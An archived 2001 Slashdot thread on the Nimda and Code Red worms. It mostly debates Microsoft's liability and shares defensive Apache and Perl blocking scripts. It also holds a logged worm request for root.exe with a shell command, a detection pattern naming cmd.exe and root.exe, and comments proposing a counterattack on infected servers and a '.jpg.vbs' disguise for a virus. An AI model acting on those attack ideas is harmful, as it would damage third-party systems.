  102. Re:A moment of advocacy by NutscrapeSucks · · Score: 2

    First of all, the current topic is a "Microsoft Internet Information Services Worm" and nobody is saying otherwise.

    Second, in the SirCam threads on Slashdot, we had 200 people, including CmdrTaco calling it a "Microsoft Outlook Virus/Worm", when in fact it was not. It was a Win32 program that was completely mail-client independant, although it would grep the Windows Address Book (used by Outlook in some configurations, but not others) and IE's cache directories. Lots of "advocates" that were discredited by not getting their facts straignt.

    Although, I agree with the point -- Calling something a "VBS Virus" is retarded given that there's nothing particularly special about the Visual Basic Script language that makes these viruses possible.

    --
    Whenever I hear the word 'Innovation', I reach for my pistol.
  103. Apache::CodeRed by don_carnage · · Score: 2

    This is a really great Perl module that can help to combat the CodeRed virus and could possible even be used on Nimda:

    Apache::CodeRed

  104. Re:unmap your EML file association by mystik · · Score: 2, Interesting

    we tried this here.

    if there is a <script&> tag in the message, ie seems to still execute it. Here is a test eml file.

    ---8<---
    From me@you.org
    Subject: test message
    From: the devil <devil@evil.org>
    To: you <you@yourcomputer.org>
    Content-Type: text/html

    <body>
    <script>
    window.open('http://www.microsoft.com');
    </script>
    This is a test eml file. tell me if you see it as plain text.
    </body>
    ---8<---

    --
    Why aren't you encrypting your e-mail?
  105. Re:How to stop Internet Explorer executing said wa by platypus · · Score: 4, Insightful

    NO! Here's what wget showed me for one host:

    [message/rfc822]

    So this thing is really evil:

    1. it uses many forms of attack
    2. it attacks server _and_ clients
    3. it propagates by tftping the load from altering hosts (probably from the host which
    did the attack before)
    4. it alters the content type for the client infection via http+IE

  106. Sue stupid admins. by rebelcool · · Score: 2
    One would think after code red people would update their server software.

    People who fail to patch their systems should be sued for incompetance. Whether it be microsoft, linux or what not.

    --

    -

    1. Re:Sue stupid admins. by alienmole · · Score: 2

      Yeah, but the program still has to be run on the server to infect it, and this server allegedly became infected without any admins ever logging into it. Made me wonder if there isn't something going on with Exchange/MAPI, etc., but I haven't tried to research it yet.

    2. Re:Sue stupid admins. by Velox_SwiftFox · · Score: 2

      Largely Microsoft's fault that they don't:

      - MS's service packs undo previous fixes;

      - MS confuses things by issuing multiple "service packs" with identical numbers, requiring measurement of actual file creation dates and sizes to establish if you've really installed;

      - MS's malfunctions force you to reload components that then require you to reload the patches;

      - MS makes you wade through about 4 pages to actually find and get to each of dozens of post-service-pack hotfixes (for Win2000 SP2 at least);

      - Multiple hotfixes try to make you reboot the box after they are applied, making the process long and tedious;

      - Most of the hotfixes force you to analyze if you really need them because of the components that are affected, and warn not to install them if they aren't "really necessary".

  107. Re:Wormageddon? by logicnazi · · Score: 2

    What would be the point? Sure it would cause more chaos but presumably this box is already rooted and there are far easier ways to cause chaos. Your worm for instance could start corrupting files etc.. etc..

    Letting in someone else's worm just takes away processing resources from your (presumably superios) worm

    --

    If you liked this thought maybe you would find my blog nice too:

  108. One apparent Perl/UNIX attack in the mix by rjamestaylor · · Score: 2

    I'm getting, with the other Windows-specific attacks, one Non-Windows specific (rather a perl/CGI specific) attack: a request for "libwww-perl/5.51".

    --
    -- @rjamestaylor on Ello
  109. Not something you want to start. by NetJunkie · · Score: 2

    This is all well and good when it is Microsoft. But what happens when these things start hitting badly administered Linux/BSD/Solaris boxes? Will you be so quick to demand Red Hat send out CDs and pay damages? Doubtful.

    Blame the admins and only the admins. I can forgive not patching something the first day, but by now? What are these people doing?

  110. As usual... by vex24 · · Score: 2

    Always (fr)agile, ready to (c)rumble...

    Enterprise software from Microsoft.

    --

    People shape laws. Not the other way around.

  111. No ... by taniwha · · Score: 2
    Better to evangelize the people who are running the lame-ass M$ servers.



    I mail every single one I can get an email address for, but frankly it's a losing battle and shouldn't be my job anyway - many of these servers are living on dhcp leases from their ISP.



    I think that a person who's running a rougue computer that's breaking into other people's machines should be shutdown by their ISP - and they afterall are the people who can match DHCP leases/times with email addresses/accounts.



    I'd like to see ISPs take a public proactive initiative in this area .... and if they don't we should all install scripts in our apache servers that report each and every attack to the attacker's ISP ....

  112. Re:Yep, my apache server is crawling. by Midnight+Ryder · · Score: 2

    I've been hit by more than a dozen servers starting this morning. My little 1.2MB adsl line is hurting :(


    Yer ADSL line - jesus, I'm running a small corporate network with an ISDN line (no DSL available), and this poor thing has been just saturated with incomming traffic (of course, the machines here aren't vulnerable, but still...)

    --

    Davis Ray Sickmon, Jr - looking for something to read? Check out my three free novels at MidnightRyder.org

  113. Re:Partial solution for request flood by JatTDB · · Score: 2

    I've got an idea...how about a nice, simple 404 page? You know, maybe something like the "default" 404 page, with maybe a link to the site's home, and maybe if you're feeling really frisky, a link to the site map (if you have one).

    I fucking hate it when I go to a site, click around, run into a 404, and i get a page complete with all the layout and everything else of the rest of the site, and somewhere buried in there is "by the way, the thing you wanted to see isn't here". "404 - Not Found" in big-ass letters is a much better way of doing it.

    But nobody ever listens to me.

    --
    "That's Tron. He fights for the Users."
  114. Ask them for /etc/passwd!! by krogoth · · Score: 5, Funny

    That's it! i'm sick of all these worms trying to get cmd.exe when i'm running linux! I'm gonna collect their IPs and flood them with requests for /etc/passwd!!!! If you want to contribute IPs or bandwidth, join the Passwd Flood Network (PFN)!! :)

    --

    They that quote Benjamin Franklin on liberty and safety deserve neither.
  115. Could google help with that? by ColGraff · · Score: 2

    Please don't flame me if I'm way off base - I'm not very familiar with the way Google caches sites - but might it have cached your pr0n images? Could you just run a search for your site on googl, then access the cached version?

    --
    I'm the stranger...posting to /.
  116. NIMDA getting mentioned by FBI by davey23sol · · Score: 2

    NIMDA is getting mentioned on the FBI briefing.. Ascroft is talking about it like it's a major security hazard.

    cool!

    --


    "Yes.. no matter what the culture, folk dancing is stupid." -MST3K
  117. Re:Doesn't really help home users though. by DirkGently · · Score: 2

    Agressive but directed? You mean like shutting off my friggin port 80 access again?

    I agree that my script will only work after they've come, hit my box, and moved on. But it'll stop repeat attempts. At least slow them down a wee bit as successive port 80 attempts will have to timeout (not that I DENY'd and not REJECT'd).

    dirk

    --

    I keep trying to pick fights, but I can't shake this Excellent karma.

  118. Fix graphic by Hoonis · · Score: 2, Informative
    This shows how to manually disable the hole in ie/outlook:

    http://www.rainfinity.com/scripting_fix.jpg

    the new macafee datfiles also successfuly fix it (we tested, their first one didn't work!)

  119. How to REALLY Screw Things Up by TOTKChief · · Score: 2
    1. Create a VBS virus.
    2. Name the file something like ScrewbinLaden.jpg.vbs, or USFlag.jpg.vbs.
    3. Send it out however you want.

    I've seen so many "patriotic" emails lately that it's obvious that the social engineering situation is ripe for the plucking.

    1. Re:How to REALLY Screw Things Up by TOTKChief · · Score: 2

      Whatever. I haven't seen the FBI arrest Tom Clancy for conjuring up the idea of using a large passenger jet full of fuel as a flying bomb, so it's patently obvious that ideas in and of themselves aren't going to get you in trouble.

      And if the authorities would contact me, I'll let 'em have access to every computer I use. Of course, getting mine from work may be kinda hard, as I work for a defense contractor, but whatever.

      Why am I responding to an AC?

  120. This is correct by Midnight+Ryder · · Score: 2

    This virus isn't affecting just IIS servers.. it's being spread by all Windows computers.


    This is correct, really. After a machine either: a) visits a webserver that's been infected or b) reads an email that was infected it then becomes an infection vector it's self. No, there's no admin.dll - that's only on NT/2K servers, not user workstations.


    (Though, someone may correct me if I'm wrong ;-)

    --

    Davis Ray Sickmon, Jr - looking for something to read? Check out my three free novels at MidnightRyder.org

  121. Re:Time for a class action lawsuit against Microso by zerocool^ · · Score: 2

    They were negligent when they created software and technologies that are so easily exploited.

    This isn't a microsoft abuse. I can go down the street to bob's lawn care and get materials to create a car bomb. Does that mean that Scott's Turf Builder is responsible for my actions? Microsoft creates a product (outlook) that checks email. It checks email, and fairly well, and in a way that is easy to understand and simple to use.

    This is simple applied economics, supply and demand. There are more windows users out there than anything else, by alot. And the average windows user does not know as much about how their computer works as the average *nix user, again, by a lot. To bring the supply and demand into it, it is easier to write code for windows, there are far more windows boxen, and the users know less about the inner workings - therefore more time is spent by hackers/scriptkiddies learning exploits and writing viruses. If linux was the world's premier operating system, and my mother used KMail or Pine, i'm sure the k|dd|3z would be writing exploits for that.

    Now, i don't pretend to say that Microsoft makes a superior product. It is definately less secure. However, there's a world of difference between a windows user who may, sometime in the lifespan of his computer, go to www.windowsupdate.com and download patches, and Bruce Perens using apt-get update on a daily basis. You can't reasonably hold microsoft responsible for the upkeep and mantinence of literally millions of desktop computers in the united states alone. Nor can you fault them for releasing a product that is not "hack-proof", as, to my knowledge, no such product exists.

    To listen to CNN and some of the posts by the slashdot crowd, you would think that Microsoft created Windows solely for the purpose of propagating the Code Red Worm. Let's not forget the simple fact that somewhere, someone wrote that bug, and they wrote it for the platform that would allow it to do the most damage, and that platform is windows.

    Now, if you're gonna criticize microsoft, put your money where your mouth is, and write your own operating system, and get it on the desktop of 97% of the computer users in the united states, and have it impervious to viruses. Or be logical, and talk to people about linux. Educate them that there's something better out there, more secure, crashes less. Put debian on your mom's box, teach her Opera. Use the line i saw on someone's .sig here - "Frustrated? Don't throw your computers out the window, throw the windows out of your computer!"

    Less bitching, more solutions.

    ~z

    --
    sig?
  122. W2K has explicit denies by MeowMeow+Jones · · Score: 2

    So you can explicitly deny execute access to TFTP to the IUSR_computername account.

    --

    Trolls throughout history:
    Jonathan Swift

  123. Re:unmap your EML file association by Spy+Hunter · · Score: 3, Informative
    You should use regedit to look at and save the current value of this key first so you can restore your system when Microsoft releases the patch. Otherwise you could have some trouble re-associating it because the current value is an umpteen-digit GUID. If you lose that value you might not be able to find it again.

    Start->Run, type in "regedit." Open the HKEY_CLASSES_ROOT folder, find .eml, then right-click its value and select "Modify." Copy and paste this value into a file somewhere where you'll be able to find it again. Then change the association like above.

    --
    main(c,r){for(r=32;r;) printf(++c>31?c=!r--,"\n":c<r?" ":~c&r?" `":" #");}
  124. Active defense on these types of worms? by MadCow42 · · Score: 2

    Seeing as it's known how these worms spread (such as Code Red, etc.), and you know that the computers that are connecting to yours ARE infected, couldn't you use the known exploit to hack their IIS service?

    Microsoft says in their documentation on the Code Red exploit (through the .ida file access) that if the buffer overflow contained random data, it would shut down the IIS service (IIS 5.0 will auto restart though). Seeing as it's the IIS service that's running the rogue virus, wouldn't this stop the threat, at least temporarily? (Or, does is the .ida file exploit used to load a larger virus that runs standalone?).

    It'd be simple to create a file with the name that the virus tries to GET (and enable Apache to execute that extension). This script would then send a GET request exactly like Code Red to the affected server, with random data in the overflow area. (about 2 lines of Perl).

    The IIS service should then shut down, and if it's version 5.0 or later it will restart (possibly clean).

    Comments?

    MadCow.

    --
    I used to have a sig, but I set it free and it never came back.
  125. Comeon NT/2000 users, lets get with it by Whyzzi · · Score: 3, Informative

    Microsoft's published a handy-dandy GUI tool that will eliminate most of these types of worms. Go here

    http://www.microsoft.com/Downloads/Release.asp?Rel easeID=32362

    --
    "BSD is about people pissing each other.." (Moid Vallat)
  126. Lessons (not) learned from Code Red (long) by Peter+H.S. · · Score: 2


    A book could have been written on "Lessons learned by Code Red", but it wasn't, so here are some really random thoughts:

    Network design:
    The new, but simple attack strategy, of hitting neighbour IP adresses, should be a wake up call for all, since this allow for very rapid infections of LAN /IP segments.
    Correct me if I am wrong, but wouldn't it be fair to say, that for Code Red to infect the LAN side, the network (and firewall) is fundamentally designed
    wrong? Why should a webserver on the public internet, be allowed to issue GETs through the firewall, to the LAN side?
    Eg. a company has a public webserver (host A), and a LAN-side server (host B). Of course they have setup their firewall, so that host B, can't be reached directly from the Internet. But for some reason, (people are often cited for, that it is convinience), they make it possibly for all kind of traffic to reach host B, as long as it originates from host A.

    Patching:
    People often say; "Just patch, and you will be safe". But patching is just the first line of defence.
    Some day, a Code Red style worm, exploiting an unknown flaw, perhaps even a flaw that are not easely patched like a "standard" buffer overflow. The speed of such an infection could be overwhelming, with perhaps 100.000's of hosts infected per day, and worse, since the infect algorithm, seems to be very effective in getting inside LANs, the problem may reach infocalyptic proportions.
    My point is, that a secure network _design_ with defence in depth, is a necessity, and may stop the infection on the Internet-side.
    Perhaps "network plurality" may be something; eg. if one is running MS web-servers, then deploy a Linux/*BSD firewall.

    Finally, the LAN side seems very vulnerably now. Sysadmins now face, the overwhelming, Sissyfosian task of patching, upgrading, and locking the LAN-side, as tight as if it were on the public Internet. That just won't happend.

    Futher ranting on patching; Why does (some) vendors mix security fixes, and non-security, non-critical bug-fixes, and, worst of all "enhancements" in the same patch? (are you listening MS ).
    No wonder SysAdmins are hesitant to patch LAN side, produktion servers when the patch is more than 50Mbyte.
    They must wonder whether their systems may BSOD on the spot. (How many times was MS-SP 6 pulled, before it reemerged as SP 6a, twice?). Or does all the new "enhancements" or bugfixes break "company-wide-important-app"?

    And speaking of "defence in depth"
    Not many networks seems to secured that way, or monitored at all by eg. IDS's. Yeah, money seemed to be spend on "surf-blocking", or monitoring employees mail for four letter words, and badmouthing of the boss.
    From my reading of usenet and weblogs on Code Red, it seems that most people discovered it, since their MS-NT 4.0 servers crashed more than usual, or that their managed switches, and IP-printers locked up.
    I am no better than the most, I am still reading up on Tripwire and Snort.

    NAT
    I like NAT /Masquerading etc. It really can give eg. a company good LAN side security.
    But NAT gives rather less protection, if portforwarding is used; eg. small company buys a xDSL connection, and are issued small router that does firewalling and NAT. So they make portforwarding to p:80, and closes everything else. But Code Red style worms just thrive on such a setup; It is handily portforwarded into the LAN side, and will spread real fast once inside.
    And NAT and firewalling doesn't help at all, if the worm is multi-vectoring through mail and webbrowsers:
    eg. the first infections is by mail. The trojan then watches were people surf, and tries to infect those sites.
    If succesfull, the trojanend machine, deploys a payload on the website, that further infects all vulnerable webbrowser, visting the site.

    On infected machines.
    Every attacking machine are announcing to the world that it is infected. (A clever, fellow slashdotter
    wrote a piece on this, but I can't find the link now)
    Further, more malicious attacks may be instigated on the affected machines. And these, second wave-attacks may not appear in any logs, they may even be impossible for any IDS to detect.

    And speaking of IDS's; how many actually monitors traffic going out from the network, especially through port 80?

    People may have gotten by, by just removing the actual trojan until now. Perhaps this time too, but
    next time it is likely, that all the script kiddies in the world seizes the opportunity to mass infect the infected machines with new and improved root-kits.

    Imagine a DDoS from a skript kiddie, controlling 50.000 machines residing all around the globe. Good luck filtering that out on the router, or even your upstream providers router.
    Or even worse, a skript kiddie with a clue, a personal grudge against your company, and having a root-kit on your LAN.

    And more; it seems like a lot of Code Red attack machines, were W2k Pro's with accidentaly installed web-servers.
    Now, the fools with upatched boxes and xDSL lines are hard to do anything about, but it also seems that a lot of accidently web-servers, were found on company /campus LANs. Mapping and scanning the LAN, and dealing with those kind of web-servers, should become a standard practise.

    VPN's:
    VPNs are often labelled as something that enhances security, but as other point out, they are actually the exact opposite, since they dig a deep hole in the firewall, into the corperate LAN. Good cryptation and authentification by VPN's, doesn't help, if Mr. Traveling Salesman are trojaing a worm, when he connects the LAN through his laptop.

    In short, we must all rethink our network design and security. Firewall and IDS on the inside LAN. Lock and patch the LAN, as it was on the public Internet. Use eg. "port mirroring" on the core switch to a "silent" monitor box.
    Run network scanners like nessus (www.nessus.org) and nmap on all LAN clients and hosts, so "forgotten" machines are discovered, and accidently installed web-servers are discovered.
    Harden hosts with tripwire /md5sum, so even if a host is infected, root-kits may be detected.

    1. Re:Lessons (not) learned from Code Red (long) by kindbud · · Score: 2

      I like NAT /Masquerading etc. It really can give eg. a company good LAN side security.

      But then you go on to detail how many ways it is inadequate. NAT was not invented to solve a security problem, it was invented to solve a connectivity problem. By design, NAT enables communication where it was otherwise not possible. This is the opposite of what a firewall does.

      Repeat after me: NAT is not a security technology, NAT is not a security technology, NAT is not a security technology. Repeat it until you believe it. It's the truth.

      --
      Edith Keeler Must Die
    2. Re:Lessons (not) learned from Code Red (long) by Peter+H.S. · · Score: 2

      But then you go on to detail how many ways it is inadequate. NAT was not invented to solve a security problem, it was invented to solve a connectivity problem. By design, NAT enables communication where it was otherwise not possible. This is the opposite of what a firewall does.

      Repeat after me: NAT is not a security technology, NAT is not a security technology, NAT is not a security technology. Repeat it until you believe it. It's the truth.


      I know, but since most small companies on xDSL /ISDN lines doesn't get (or need) public IP's for all the client pc's, NAT is a pretty common fact. And NAT does give some kind of protection, and is easy to understand and implement.
      Note, that I don't think NAT is a firewall substitute, my gripe was actually against those who think so, and rely on their eg. xDSL routers NAT and packet filtering abilities, while negating those security benefits by portforwarding to servers on the LAN side.

  127. IISBLOCK by bl968 · · Score: 2

    Edit this to suit

    #!/usr/bin/perl

    # IISBLOCK - Infected IIS server blocking utility.
    # by Bill Larson of Compu-Net Enterprises.
    # http://www.compu.net. This header must be kept intact if you
    # wish to redistribute the script.

    my $check = 0;
    my $line = "";
    my $weblog = "/etc/www/logs/access_log";
    my $infection = "/root/infected";
    my $removelist = "/root/fwclean";

    #open the web server log file specified above and start processing

    open (HTFILE, "$weblog");
    until (eof (HTFILE))
    {
    $line =;
    chop ($line);

    #Pattern match on IIS Attempts then strip down to the hostname/ip addresss

    if ($line =~ /.*\/winnt\/system32\/.*/) {
    $line =~ s/\ -.*//gi;

    # This host is infected so lets do something about it.

    }
    }
    close(HTFILE);

    sub infected {
    $check = 0;

    # begin a check to ensure that we only take action once.

    open (HTFILE2, "$infection");
    until (eof (HTFILE2)){
    $dupe =;
    chop ($dupe);
    if ($line =~ /$dupe/){
    $check = 1;
    }
    else {
    }
    }
    close(HTFILE2);

    # If this is a unique host continue

    if ($check eq "0") {

    # time to add to the list of infected hosts

    open (HTFILE2, ">>$infection");
    print HTFILE2 "$line\n";
    close(HTFILE2);

    # add using the specified add command
    # firewall software will print an error on invalid hostnames.
    # Zap them one at a time maunally

    system ("/sbin/ipchains -I input -s $line -j DENY -l");

    # write firewall removal line to the remove list file
    # modify this line for your specific firewall software

    open (HTFILE3, ">>$removelist");
    print HTFILE3 "/sbin/ipchains -D input -s $line -j DENY -l\n";
    close(HTFILE3);
    }

    # That's all folks!

    }

    --
    "GET / HTTP/1.0" 200 51230 "-" "Mozilla/4.0 (compatible; Setec Astronomy)"
  128. Whom do I tell? by sbeitzel · · Score: 2

    Okay, I've modified my system for trapping Code Red attacks to log Nimda attacks as well. So, do y'all reckon SecurityFocus wants to know about it as well?

    --
    Oh, go on, check out my job.
  129. security. by saintlupus · · Score: 2

    Sort of, but I still agree. *BUT*, which would you choose if you wanted something that simply "ships" secure?

    BSD.

    (Yeah, it's a troll. But try any version of BSD for a while and you'll realize how sloppy Linux really is.)

    --saint

  130. Re:What is wrong with ppl? by ellem · · Score: 2

    SARC STILL has no update for this virus. MacAfee does but they tend to release fixes too early. (They very well may have fixed that I haven't used them in years)

    --
    This .sig is fake but accurate.
  131. Re:Time for a class action lawsuit against Microso by fmaxwell · · Score: 2

    I can go down the street to bob's lawn care and get materials to create a car bomb. Does that mean that Scott's Turf Builder is responsible for my actions?

    In addition to that being an extremely tasteless analogy in light of recent events, it's not even a remotely fair one. In the case of IIS, Microsoft claimed that it was secure. In the case of their e-mail client (Outlook/Outlook Express), who in their right mind would write an e-mail client that executed code (vbscript, etc.) enclosed in an e-mail?

    You can't reasonably hold microsoft responsible for the upkeep and mantinence of literally millions of desktop computers in the united states alone.

    That would be like Ford/Firestone having to recall tens of thousands of tires just because they fall apart and cause accidents. Should drivers of Ford SUVs go to www.ford.com to check for recalls every day? Maybe in your world...

    Now, if you're gonna criticize microsoft, put your money where your mouth is, and write your own operating system, and get it on the desktop of 97% of the computer users in the united states, and have it impervious to viruses.

    That's the most ridiculous thing I've read in a while. So you are actually saying that I don't have a right to complain about an unsafe car unless I start my own competing car factory? Parents cannot complain about strollers that injure their kids unless they start a stroller company? People deformed by Thalidimide have no right to complain until they start their own pharmaceutical company and make a competing drug? How many moons circle your home world?

    Or be logical, and talk to people about linux. Educate them that there's something better out there, more secure, crashes less.

    Damn! All I had to do was talk to 25,000+ Road Runner users throughout the country, convince them to switch to Linux, and I could have avoided my connection being hammered for two weeks? Now you tell me. I'll put all of my belongings into an RV so that I can tour the country convincing people to switch to Linux.

    Less bitching, more solutions.

    Solution: AOL, Earthlink, UUNet, and every other major ISP in the world join together, sues Microsoft, and wins a large settlement. Microsoft stops developing and bundling bad video editors, paint packages, web servers, and online Othello games and, instead, concentrates on making a more secure, robust OS.

  132. Re:what's the solution? by Flower · · Score: 2
    Then obviously you only *just* started to use linux. A lot of the vulnerabilities in linux distros come from the same mentality that you see in IIS. That being:

    Turn everything on. And that is exactly what MS does with IIS to reduce support calls. Just run every ISAPI filter. Allow every http verb. Install IIS automagically when you install the server. Even though you haven't had the chance to create a non-system volume.

    The fact is you can secure IIS but just like with linux it takes a bit of planning and work. And just for the record, I don't have a say in what platform the company's web servers run on. Advocating^H^H^H^H^H^H^H^H^Hwhining about the company's choice of supported platforms would get me fired. But because I value my job I invest the effort to learn a thing or two so I can administer the servers properly.

    That's professionalism.

    --
    I don't want knowledge. I want certainty. - Law, David Bowie
  133. Re:Time for a class action lawsuit against Microso by Reality+Master+101 · · Score: 2

    I don't necessarily disagree with a lot of what you're saying, but you're going over the edge with these...

    In the case of IIS, Microsoft claimed that it was secure.

    Show me a quote where Microsoft claims that their software is perfect. No software is perfectly secure (e.g., wuFTP, my personal favorite that caused my system to be cracked). Show me perfect software, and I will show you a Hello World program. And don't try and tell me that OSS is perfect, I know better.

    In the case of their e-mail client (Outlook/Outlook Express), who in their right mind would write an e-mail client that executed code (vbscript, etc.) enclosed in an e-mail?

    I would. Just because a lot of people want to live in a world of green screens and monofonts doesn't mean everyone wants to live in the past. I like being able to open a document that someone e-mails me without having to save it off somewhere.

    Not to say that these things shouldn't have better security, but there is absolutely no question that mail readers should allow attachments to be executed. Personally, I would like to see a "sandbox" concept applied to opening e-mail attachments.

    --
    Sometimes it's best to just let stupid people be stupid.
  134. Re:Wormageddon? by cybermage · · Score: 2

    What would be the point?

    Once you've applied a patch, how likely are you to realize you need to do so again? Also, many people will attribute, falsely, adverse affects of other viruses to your virus, making it more difficult to isolate yours. A patch for a worm that re-opens other holes would need to close all of the holes to be truely affective.

  135. Re:Time for a class action lawsuit against Microso by tswinzig · · Score: 2

    Do we really have to argue this all over again? It will never happen. If you want to know why, go back and re-read the Code Red discussion on Slashdot.

    Summary: Microsoft did not write the virus. Microsoft patched the flaw over a year ago. Microsoft has made every attempt to patch known flaws. Microsoft makes every effort to notify known administrators about problems as they arise.

    The real cause of the problem is braindead users that don't patch their systems. Sue them, if you'd like.

    --

    "And like that ... he's gone."
  136. Re:It's morons, not Microsoft that're responsible by the+eric+conspiracy · · Score: 2

    It's easy to blame MS for all their "security holes", but folks...these have been patched for a while now...

    Well, yes a good sysadmin would apply the patches.

    However not all the systems affected by Nimda are servers. Nimda also propagates by email, and over Windows shares. Are you expecting users to apply patches at the same level of diligence as a professional sysadmin?

    In any case it is clear that Microsoft does bear a significant portion of the responsibility for the quality of their product regardless of the individuals who (mis)use it. And it seems to me that one could make a very good class action suit against Microsoft based on the lost time and bandwidth these worms have cost based on a negligence argument. After all, Microsoft has known about these flaws for months. What have they done to proactively inform their users about the defects in their software? Have they issued a recall? Send messages to their users via email?

    As a sysadmin running a Linux site, I have NOT agreed to any shrinkwrap wavier of incedental or consequential damages Microsoft's software has caused me.

    Between the Code Red and nimda incedents, my employer is out quite a few billable hours.

  137. Re:Mail sent to me. by Craig+Maloney · · Score: 2
    Imagine my surprise when I got the same message...

    From support@apple.com

    Weird choice of return addresses, no? Fortunately I run a pine/procmail combo, and procmail managed to toss it into my SPAM folder.

  138. Re:Check out your files... by J'raxis · · Score: 2

    Yep. Its installing something so any visitors to your website running MSIE with jScript turned on will infect themselves.

    Clever, eh?

  139. Re:Time for a class action lawsuit against Microso by fmaxwell · · Score: 2

    Do we really have to argue this all over again?

    No. You could simply admit that I am right or choose not to participate. Either one is fine by me.

    Summary: Microsoft did not write the virus.

    So what? They are still liable for product flaws. Suppose that your bank had a flaw on their web page that let anyone find your credit card number. Would you say that they were not to blame if someone exploited that flaw and used your credit card?

    Microsoft patched the flaw over a year ago.

    Not true. Microsoft made a patch available to those that knew about it. "Patched" would mean that they actively installed the patch.

    Microsoft has made every attempt to patch known flaws.

    Not true. There are many flaws in their "Knowledge Base" that have never been patched -- some of which are related to security.

    Microsoft makes every effort to notify known administrators about problems as they arise.

    Absolutely not true. The way you make the public aware of a product defect is to send registered owners mail (with a stamp -- not e-mail). Microsoft has not done this. Instead, they put notices up on their web pages and relied on users checking for patches regularly -- even though they know that most never do.

    If Microsoft can send you snail mail telling you that they want to sell you a new version of Visual C++, they can send you a CD-ROM with patches for severe security flaws in the OS that they sold to you.

  140. Apache solution by the+way · · Score: 2

    To minimise the amount of work Apache has to do when hit by an infected host, if you run mod_perl add these lines to your httpd.conf:
    ----
    <Perl>
    {
    package Apache::Vermicide;
    use Apache::Constants qw(:common :response);
    sub handler {
    my $r = shift;
    if ($r->uri() =~ /root\.exe|cmd\.exe|default\.ida/i) {
    $r->push_handlers(PerlLogHandler => sub { return BAD_REQUEST });
    return BAD_REQUEST;
    }
    return OK;
    }
    }
    </Perl>
    PerlPostReadRequestHandler Apache::Vermicide
    ----
    Thanks to Nathan Torkington for this code.

  141. Re:Time for a class action lawsuit against Microso by tswinzig · · Score: 2

    So what? They are still liable for product flaws.

    In your opinion...

    Suppose that your bank had a flaw on their web page that let anyone find your credit card number. Would you say that they were not to blame if someone exploited that flaw and used your credit card?

    Apples and Oranges. If you want to make it apples and apples, I would not blame my bank, but instead the software company that created their operating system, or the person or group of people that wrote their CGI scripts. After all, the bank just maintains the PC's, they don't write the software themselves, correct?

    Not true. Microsoft made a patch available to those that knew about it. "Patched" would mean that they actively installed the patch.

    Wrong. I did not say Microsoft patched ALL SERVERS. I said Microsoft patched THE FLAW. In other words, they wrote a patch that fixes the flaw. They posted this notice to their list (which anyone can subscribe to) that dispenses security notices. They posted this news on their website. And I'm sure they will increase notifications due to this latest threat.

    You probably think the gun manufacturers should be sued because someone shoots someone with a gun, right?

    Absolutely not true. The way you make the public aware of a product defect is to send registered owners mail (with a stamp -- not e-mail).

    This would make ZERO DIFFERENCE. Why? Because the people that are the cause of this problem don't bother to register their software. How exactly could Microsoft reach these clueless morons?

    If Microsoft can send you snail mail telling you that they want to sell you a new version of Visual C++, they can send you a CD-ROM with patches for severe security flaws in the OS that they sold to you.

    First of all, I run many servers running IIS. I've probably only registered a handful of them. We buy the software not from Microsoft but from third parties. I very rarely receive mailed ads from Microsoft.

    So you're of the opinion that the same people that receive ads from Microsoft are the same people running IIS on their machines and haven't patched it?

    The problem here is joe-blow not keeping his machine secured.

    --

    "And like that ... he's gone."
  142. My firewall does not log any of this. by hearingaid · · Score: 2

    I run a stripped-down Apache on the gateway machine.

    In my httpd.conf:

    NameVirtualHost *

    <VirtualHost *>
    ServerAdmin loki@twwol.dyndns.org
    ServerName dummy.twwol.dyndns.org
    RewriteEngine on
    RewriteRule ^(.*) http://www.twwol.dyndns.org$1 [R,L]
    </VirtualHost>

    This does two things.

    The important thing that I like about it is that it forces any requests to *.twwol.dyndns.org that don't match any of my hosts to get forwarded to the main www address, because the dummy host is first. (DynDNS allows for a wildcard feature; lookup any *.twwol.dyndns.org and you get my gateway; connect to port 80 and you wake up Apache, which then determines which host you really wanted and forwards the request inwards to the LAN (via a ProxyPass directive).

    The other nice thing that I like about it is that it totally blocks access from bots that don't know the right name of my machines (which, naturally, you can't get from gethostbyaddr, since my DSL provider gives me my Official hostname). This includes, for example, Code Red worms; they connect to my gateway, get a 302, and wander along. Since I don't have a global CustomLog directive (I provide CustomLog directives for each of the real hosts), there's no logs kept for the annoying little Code Red worms.

    Which is good. I run a stripped-down Apache on the gateway partly for security, but also partly because its hard drive space is not spacious.

    --

    my old sig used to be funny, but then slashcode ate it and now it's not funny anymore

  143. Affecting Apache by matth · · Score: 2

    Hrmm.. i was rather disturbed today. I was looking around my linux box and found HUNDREDS of *.eml files. Now.. does anyone want to venture a guess as to how they got in there? Some of them I've seenbefore .. . (like the firs tpart of the file name).. others i haven't... my directory structure looks right... any idea how it got in?

    ~ Matt

  144. Re:First Hits by smack_attack · · Score: 2

    site referrer remote_host starttime pagecount pages
    www Direct 63.112.252.2 2001-09-18 09:18:29 1 /scripts/root.exe?/c+dir?1000819109

    Time is EDT

  145. Re:Time for a class action lawsuit against Microso by fmaxwell · · Score: 2

    In the case of IIS, Microsoft claimed that it was secure.

    Show me a quote where Microsoft claims that their software is perfect. No software is perfectly secure


    I did not say that they claimed it was "perfect". I only said that they claimed it was secure (see the URL http://www.microsoft.com/windows2000/server/evalua tion/features/web.asp)

    I like being able to open a document that someone e-mails me without having to save it off somewhere.

    Now combine that "feature" with Microsoft's default of hiding file extensions and someone e-mails resume.doc.exe, the recipient sees resume.doc, and he double clicks on it. Outlook then executes the application without so much as an "are you sure?" prompt.

    But what I was referring to was execution of script languages (e.g. VBScript) within e-mails.

    Are you aware that a spammer can send you HTML e-mail and know when it is displayed on your screen? All he does is include a unique 1x1 .GIF URL. When his system sees a "GET" on his web server for the .GIF, he knows that your e-mail address is valid, the IP address of your machine, and that he's got a live one. Welcome to more spam. And you cannot turn off HTML fetching from your e-mail or have it ask you first.

    These are all examples of gross security flaws that Microsoft has created. Sorry, but that's negligence in its simplist form.

  146. Live MRTG statistics of Nimda :) by mbyte · · Score: 2

    of our server in germany, 213.x ip ;)

    statistik
  147. you get what you pay for. by gimpboy · · Score: 3, Insightful

    exactly. alot of the problem here is with the users. they got what they paid for. from my discussions with a friend who works on alot of ms boxes, it seems that iis can be as secure as apache as long as you know what you are doing. people who say "*nix" doesnt have the sort of problems are living on borrowed time.

    alot of the boxen that are being infected are doing so because they are running default installs with no patches. if you told me you were running a default redhat install i would laugh my ass off.

    my main problems with windows is the security paradigm they use, and how the market ease of use. because of this a normal user can execute programs that infect system files. sort of like browsing the web as root. by marketing their product as "point and click"ish they attract the lowest common denominator in users.

    it basically comes down to being an informed user. by the time you get to admining a unix box you are normally already a bit more informed, and you probably arent making the decision because it's _easy_ to use.

    --
